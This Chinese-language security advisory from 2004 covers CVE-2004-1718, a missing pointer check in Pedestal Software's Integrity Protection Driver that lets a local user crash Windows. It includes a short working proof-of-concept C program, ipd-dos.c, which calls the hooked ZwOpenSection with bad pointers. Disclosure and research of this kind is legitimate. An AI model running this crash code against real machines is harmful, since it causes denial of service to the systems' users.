发布日期：2004-08-16
更新日期：2004-08-18

受影响系统：

Pedestal Software Integrity Protection Driver 1.4
Pedestal Software Integrity Protection Driver 1.3
Pedestal Software Integrity Protection Driver 1.2

描述：

---

CVE(CAN) ID: CVE-2004-1718

IPD(集成保护驱动程序)是开放源代码设备驱动可保护新服务和驱动的未授权安装。

IPD在部分内核HOOKD实现中不充分验证指针引用，本地攻击者可以利用这个漏洞使系统崩溃。

如IPD hooks ZwOpenSection时调用如下：

       NTSTATUS ZwOpenSection(HANDLE Handle, DWORD mask, DWORD oa);

问题是由于IPD没有正确检查"oa"指针是否合法，任何本地和未授权用户可调用此指针而使系统崩溃。

<*来源：fjserna （fjserna@ngsec.com）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=109276749821133&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

fjserna （fjserna@ngsec.com）提供了如下测试方法：

/*
*  ipd-dos.c
*
*  Copyright (c) 2002-2004 By Next Generation Security S.L.
*  All rights  reserved
*
*  Compiles with: cl ipd-dos.c
*
*  Madrid, August 2004
*/

#include <windows.h>

#define MY_NULL 0x01
typedef DWORD (* zwopensection_TYPE)(DWORD Handle, DWORD mask, DWORD oa);

int main(int argc, char *argv[]) {
HINSTANCE dll;
zwopensection_TYPE my_ZwOpenSection;

  if ((dll=LoadLibrary("ntdll.dll"))!=NULL) {

     if ((my_ZwOpenSection=(zwopensection_TYPE)GetProcAddress(dll,"ZwOpenSection"))!=NULL) {

         my_ZwOpenSection(MY_NULL,MY_NULL,MY_NULL);

     }
  }

}

建议：

---

厂商补丁：

Pedestal Software
-----------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.pedestalsoftware.com

浏览次数：3402
严重程度：0（网友投票）